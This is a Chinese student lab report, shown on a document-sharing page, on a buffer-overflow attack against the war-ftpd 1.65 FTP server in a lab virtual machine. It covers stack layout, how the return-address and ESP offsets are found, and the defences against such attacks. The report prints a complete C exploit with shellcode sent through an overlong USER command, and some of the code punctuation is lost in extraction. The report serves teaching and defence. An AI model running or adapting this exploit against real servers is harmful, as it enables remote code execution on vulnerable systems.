网络攻击与防范实验报告(共8页).doc

上传人:飞****2 文档编号:13550870 上传时间:2022-04-30 格式:DOC 页数:8 大小:842.50KB
返回 下载 相关 举报
网络攻击与防范实验报告(共8页).doc_第1页
第1页 / 共8页
网络攻击与防范实验报告(共8页).doc_第2页
第2页 / 共8页
点击查看更多>>
资源描述

《网络攻击与防范实验报告(共8页).doc》由会员分享,可在线阅读,更多相关《网络攻击与防范实验报告(共8页).doc(8页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、精选优质文档-倾情为你奉上网络攻击与防范实验报告姓名:_ _ 学号:_ 所在班级: 实验名称: 缓冲区溢出实验 实验日期: 2014 年 11 月 9 日指导老师: 张玉清 实验评分: 验收评语: 实验目的:1、掌握缓冲区溢出的原理2、掌握常用的缓冲区溢出方法3、理解缓冲区溢出的危害性4、掌握防范和避免缓冲区溢出攻击的方法实验环境:主机系统:Windows8 x64位虚拟机系统:Windows XP(SP3)( IP:192.168.137.128)溢出对象:war-ftpd 1.65调试工具:CDB(Debugging Tools for Windows);开发环境:Visual Studi

2、o 2013开发语言:C语言缓冲区溢出原理:在metasploit中搜索war-ftp可以发现war-ftpd1.65在windows下有以下漏洞username overflow,也就是在用户使用user username这个指令时,如果username过长就会发生缓冲区溢出。 计算机在调用函数function(arg1,argm)时,函数栈的布局如图1所示,首先将函数的实参从右往左依次压栈,即argm,arg1。然后将函数返回地址RET压栈。这时EBP指向当前函数的基地址,ESP指向栈顶,将此时的EBP压栈,然后ESP的值赋给EBP,这样EBP就指向新的函数栈的基地址。调用函数后,再将局部

3、变量依次压栈,这时ESP始终指向栈顶。另外还有一个EIP寄存器,EIP中存放的是下一个要执行的指令的地址,程序崩溃时EIP的值就是RET。通过构造特殊的字符串,即两两都不相同的字符串,我们可以根据EIP的值定位RET的位置。知道了RET的位置以后,我们只要在RET这个位置放上我们想要执行的跳转指令就可以实现跳转。为了方便我们找一个系统中现成的指令jmp esp来实现跳转。jmp esp指令在内存中的通用地址是0x7ffa4512,可以通过 CDB的U 7ffa4512来确定该地址中存放的是否为jmp esp。jmp esp将EIP指向了esp指向的位置,我们用定位RET的办法同样定位ESP指向

4、的位置,然后用shellcode替换这块字符串,这样计算机就会执行shellcode,从而实现攻击。当然,我们还可以用其他的指令,如jmp esi,同样得到jmp esi指令在系统内存中的地址,以及esi指向的内存,我们就可以执行shellcode。也可以使用多次跳转。图 1 函数栈的布局实验步骤:1、 测试漏洞是否存在1) 在虚拟机上用CDB将war-ftpd.exe挂起2) 使用主机与虚拟机上的war-ftpd建立连接ftp n open192.168.137.128user A*100003) 溢出成功,CDB捕获到war-ftpd异常,EIP被“AAAA”覆盖。ESP指向的位置也全是字

5、符A。2、 定位RET在字符串中的位置以及ESP指向的位置。1) 使用patternCreate构造1000个不一样字符构成的字符串2) 在虚拟机上用CDB将war-ftpd.exe挂起3) 再次使用主机与虚拟机上的war-ftpd建立连接ftp n open192.168.137.128user str不同字符的字符串4) 程序溢出,EIP=,ESP指向的位置中存放的是5) 利用patternOffset定位RET和ESP指向的位置,RET的相对位置是485,ESP的相对位置是4936) 构造字符串,编写攻击程序。3、 测试攻击程序,能够在虚拟机中弹出计算器框附:攻击程序源代码#includ

6、e stdafx.h#include #pragma comment(lib, ws2_32)int _tmain(int argc, _TCHAR* argv)char shellcode = xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49x49x49x49x49x49x49x49x37x49x49x49x49x51x5ax6ax42x58x50x30x41x31x42x41x6bx41x41x52x32x41x42x41x32x42x41x30x42x41x58x50x38x41x42x75x38x69x79x6cx4ax48x67x34x

7、47x70x77x70x53x30x6ex6bx67x35x45x6cx4cx4bx73x4cx74x45x31x68x54x41x68x6fx6cx4bx70x4fx57x68x6ex6bx71x4fx45x70x65x51x5ax4bx67x39x4cx4bx50x34x4cx4bx77x71x68x6ex75x61x4bx70x4ex79x6ex4cx4dx54x4bx70x72x54x65x57x69x51x49x5ax46x6dx37x71x6fx32x4ax4bx58x74x77x4bx41x44x44x64x35x54x72x55x7ax45x6cx4bx53x6fx51x34x

8、37x71x48x6bx51x76x4cx4bx76x6cx50x4bx6ex6bx71x4fx67x6cx37x71x68x6bx4cx4bx65x4cx4cx4bx64x41x58x6bx4bx39x53x6cx75x74x46x64x78x43x74x71x49x50x30x64x6ex6bx43x70x44x70x4cx45x4fx30x41x68x44x4cx4ex6bx63x70x44x4cx6ex6bx30x70x65x4cx4ex4dx6cx4bx30x68x75x58x7ax4bx35x59x4cx4bx4dx50x58x30x37x70x47x70x77x70x6cx4bx

9、65x38x57x4cx31x4fx66x51x48x76x65x30x70x56x4dx59x4ax58x6ex63x69x50x31x6bx76x30x55x38x5ax50x4ex6ax36x64x63x6fx61x78x6ax38x4bx4ex6cx4ax54x4ex76x37x6bx4fx4bx57x70x63x51x71x32x4cx52x43x37x70x42;char jumpesp = x12x45xfax7f ;WSADATA WSAData;char Buff1000, Recv1024;int nRet;struct sockaddr_in ipAddress;SOCK

10、ET s;if (WSAStartup(MAKEWORD(1, 1), &WSAData) != 0)printf(- WSAStartup failed.n);WSACleanup();exit(1);s = socket(AF_INET, SOCK_STREAM, 0);ipAddress.sin_family = AF_INET;ipAddress.sin_addr.s_addr = inet_addr(192.168.137.128);ipAddress.sin_port = htons(21);try connect(s, (struct sockaddr *)&ipAddress,

11、 sizeof(ipAddress); catch (.)printf(connection error);memset(Buff, 0x41, sizeof(Buff) - 1);memcpy(&Buff485, jumpesp, sizeof(jumpesp) - 1);memcpy(&Buff493, shellcode, sizeof(shellcode) - 1);Buff493 + sizeof(shellcode) - 1 = 0;recv(s, Recv, sizeof(Recv), 0);sprintf(char *)Recv, user %srn, Buff);send(s

12、, (char *)Recv, strlen(char *)Recv), 0);return 0;实验体会:(遇到的问题及解决方法、收获和体会、提出防范此类缓冲区溢出漏洞的方法)1、 在做这次实验的时候几乎是把能碰到的问题都碰到了,因为以前对计算机内存的运行状况不是很了解,可没有用过metasploit,CDB这些工具,shellcode更是第一次听说,因此走了很多弯路,花了很长的时间才弄明白。下面列举一下我遇到的问题吧:1) 在做ccproxy.exe实验的时候字符串构造错了好几次,不先是发现少了ping后面的空格,后又发现没有rn命令不会执行。2) Shellcode不能执行,在网上找到了

13、很多的shellcode,但是能不能执行似乎是看运气,不过还好最后找到了一个能弹出计算器的。3) 在做war-ftpd的时候没有搞清楚esp指向的位置,受ccproxy的影响,想当然的以为应该是在字符串的第四个位置,后来才知道esp指向的位置是不固定的,在war-ftpd中应该是493的位置。2、 收获和体会通过这次实验了解了缓冲区溢出的基本原理和方法,学会了利用缓冲区溢出漏洞编写攻击程序。虽然刚开始的时候什么也不懂,遇到了很多的问题,让我感觉很挫败,但是最后能够把遇到的问题一个个的解决掉还是挺欣慰的。这次实验也让我体会到缓冲区溢出的危害之大,研究如何防止缓冲区溢出意义重大,同时能够找到软件的

14、缓冲区溢出漏洞并及时修复也是非常有意义的事情。3、 防范缓冲区溢出漏洞的方法防范缓冲区溢出的手段主要有四种:1) 开发能够检查程序中缓冲区溢出问题的软件,目前有很多帮助程序员查错的工具,如faultinjection等,但是这些工具并不能找到所有的缓冲区溢出漏洞,因此,还是需要程序员本身花更多的功夫检查自己编写的代码,尽量避免缓冲区溢出的问题。2) 把数据段地址空间不可执行,我们这次讨论的这种类型的缓冲区溢出中shellcode是放在数据段的,如果操作系统规定数据段不可执行,就可以避免这种漏洞。3) 数组边界检查,只要数组不能被溢出,溢出攻击也就无从谈起。这种方法不仅能避免这种类型的缓冲区溢出,还能保证及时没有了非执行缓冲区保护也不会发生溢出。目前也已经有了做数组边界检查的软件,如Compaq、JonesKelly、Purify等。4) 指针完整性检查。指针完整性检查是指在指针被引用之前检测它的改变,这样即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针将不会被使用。与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题;采用其他的缓冲区溢出方法就可以避免这种检测。但是这种方法在性能上有很大的优势,而且兼容性也很好。专心-专注-专业

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 教育专区 > 教案示例

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁